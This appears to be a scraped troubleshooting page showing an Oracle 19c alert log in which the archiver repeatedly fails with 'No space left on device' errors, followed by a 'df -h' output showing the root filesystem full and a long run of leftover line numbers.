/u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:00:06.750899+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:01:06.723719+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:01:06.730238+08:00 ARC1 (PID:1867): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:01:06.731161+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC1 (PID:1867): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-28T00:01:06.763407+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:01:06.763874+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:01:40.907397+08:00 Suspending MMON action \u0026#39;undo usage\u0026#39; for 104400 seconds 2025-12-28T00:01:40.944721+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_m001_9915.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-28T00:01:40.959421+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_m002_9917.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-28T00:02:06.727316+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:02:06.734202+08:00 ARC0 (PID:1861): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:02:06.735355+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC0 (PID:1861): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared Non critical error ORA-48113 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc\u0026#34; Error message: Writing to the above trace file is disabled for now... 2025-12-28T00:02:06.772047+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:02:06.772544+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:03:06.730695+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:03:06.736991+08:00 ARC3 (PID:1871): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:03:06.738215+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC3 (PID:1871): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-28T00:03:06.770290+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:03:06.770847+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:03:06.829227+08:00 Non critical error ORA-48113 caught while writing to trace metadata file (.trm) Trace file name: \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc\u0026#34; Error message: Writing to trace metadata is disabled for now... 2025-12-28T00:03:17.248873+08:00 Non critical error ORA-48113 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_dia0_1617_base_1.trc\u0026#34; Error message: Writing to the above trace file is disabled for now... 2025-12-28T00:04:06.732486+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:04:06.738128+08:00 ARC2 (PID:1869): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:04:06.739098+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC2 (PID:1869): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-28T00:04:06.771814+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:04:06.772238+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:05:06.736119+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:05:06.743443+08:00 ARC1 (PID:2025-12-28T00:05:06.745943+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC1 (PID:1867): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-28T00:05:06.784402+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:05:06.785087+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:05:40.539148+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_mz00_9595.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-28T00:06:06.739002+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:06:06.744636+08:00 ARC0 (PID:1861): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:06:06.745748+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC0 (PID:1861): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-28T00:06:06.776708+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:06:06.777164+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:06:06.835402+08:00 Non critical error ORA-48113 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc\u0026#34; Error message: Writing to the above trace file is disabled for now... 2025-12-28T00:06:31.714897+08:00 Non critical error ORA-48113 caught while writing to trace metadata file (.trm) Trace file name: \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_dbw0_1619.trc\u0026#34; Error message: Writing to trace metadata is disabled for now... 2025-12-28T00:06:49.641389+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_pmon_1583.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-28T00:07:06.742021+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:07:06.748600+08:00 ARC3 (PID:1871): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:07:06.749645+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC3 (PID:1871): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-28T00:07:06.783228+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:07:06.784197+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:07:22.675769+08:00 Non critical error ORA-48180 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_clmn_1585.trc\u0026#34; Error message: Linux-x86_64 Error: 28: No space left on device Additional information: 1 Writing to the above trace file is disabled for now... 2025-12-28T00:07:22.676453+08:00 CLMN: delete dead process - failed 2025-12-28T00:07:53.718068+08:00 Process termination requested for pid 4254 [source = rdbms], [info = 2] [request issued by pid: 1585, uid: 54321] 2025-12-28T00:08:06.744388+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:08:06.749738+08:00 ARC2 (PID:1869): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:08:06.750604+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC2 (PID:1869): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-28T00:08:06.780995+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:08:06.781924+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:08:44.775736+08:00 Non critical error ORA-48113 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_dia0_1617_lws_1.trc\u0026#34; Error message: Writing to the above trace file is disabled for now... 2025-12-28T00:09:06.746997+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:09:06.752942+08:00 ARC1 (PID:1867): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:09:06.753820+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC1 (PID:1867): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC1 (PID:1867): Stuck archiver: inactive mandatory LAD:1 ARC1 (PID:1867): Stuck archiver condition declared 2025-12-28T00:09:06.787625+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC1 (PID:1867): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:09:06.788269+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:09:33.855784+08:00 CLMN: delete dead process - failed 2025-12-28T00:10:06.749327+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:10:06.755649+08:00 ARC0 (PID:1861): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:10:06.756430+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC0 (PID:1861): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC0 (PID:1861): Stuck archiver: inactive mandatory LAD:1 ARC0 (PID:1861): Stuck archiver condition declared 2025-12-28T00:10:06.794895+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc0_1861.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC0 (PID:1861): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:10:06.797636+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:11:06.753244+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:11:06.756082+08:00 Non critical error ORA-48113 caught while writing to trace file \u0026#34;/u01/app/oracle/diag/rdbms/db/db1/trace/db1_tt01_1865.trc\u0026#34; Error message: Writing to the above trace file is disabled for now... 2025-12-28T00:11:06.758712+08:00 ARC3 (PID:1871): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:11:06.760328+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC3 (PID:1871): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC3 (PID:1871): Stuck archiver: inactive mandatory LAD:1 ARC3 (PID:1871): Stuck archiver condition declared 2025-12-28T00:11:06.796845+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc3_1871.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC3 (PID:1871): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:11:06.799458+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:12:06.756752+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:12:06.762432+08:00 ARC2 (PID:1869): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:12:06.764347+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-19504: failed to create file \u0026#34;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#34; ORA-27040: file create error, unable to create file Linux-x86_64 Error: 28: No space left on device Additional information: 1 ARC2 (PID:1869): Error 19504 Creating archive log file to \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; ARC2 (PID:1869): Stuck archiver: inactive mandatory LAD:1 ARC2 (PID:1869): Stuck archiver condition declared 2025-12-28T00:12:06.803501+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc2_1869.trc: ORA-16038: log 1 sequence# 2667 cannot be archived ORA-19504: failed to create file \u0026#34;\u0026#34; ORA-00312: online log 1 thread 1: \u0026#39;/u01/app/oracle/oradata/DB/redo01.log\u0026#39; ARC2 (PID:1869): Archival error occurred on a closed thread, archiver continuing 2025-12-28T00:12:06.806856+08:00 ORACLE Instance db1, archival error, archiver continuing 2025-12-28T00:13:06.760914+08:00 TT00 (PID:1863): Stuck archiver condition cleared 2025-12-28T00:13:06.766395+08:00 ARC1 (PID:1867): Unable to create archive log file \u0026#39;/u01/app/oracle/product/19.0.0/dbhome_1/dbs/arch1_2667_1215462093.dbf\u0026#39; 2025-12-28T00:13:06.768102+08:00 Errors in file /u01/app/oracle/diag/rdbms/db/db1/trace/db1_arc1_1867.trc: 1 2 3 4 5 6 7 8 9 10 [oracle@oracle-19c-ol7-121 ~]$ df -h Filesystem Size Used Avail Use% Mounted on devtmpfs 3.9G 0 3.9G 0% /dev tmpfs 3.9G 0 3.9G 0% /dev/shm tmpfs 3.9G 235M 3.7G 6% /run tmpfs 3.9G 0 3.9G 0% /sys/fs/cgroup /dev/mapper/ol-root 33G 33G 20K 100% / /dev/vda1 1014M 237M 778M 24% /boot tmpfs 794M 0 794M 0% /run/user/1000 tmpfs 794M 0 794M 0% /run/user/0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 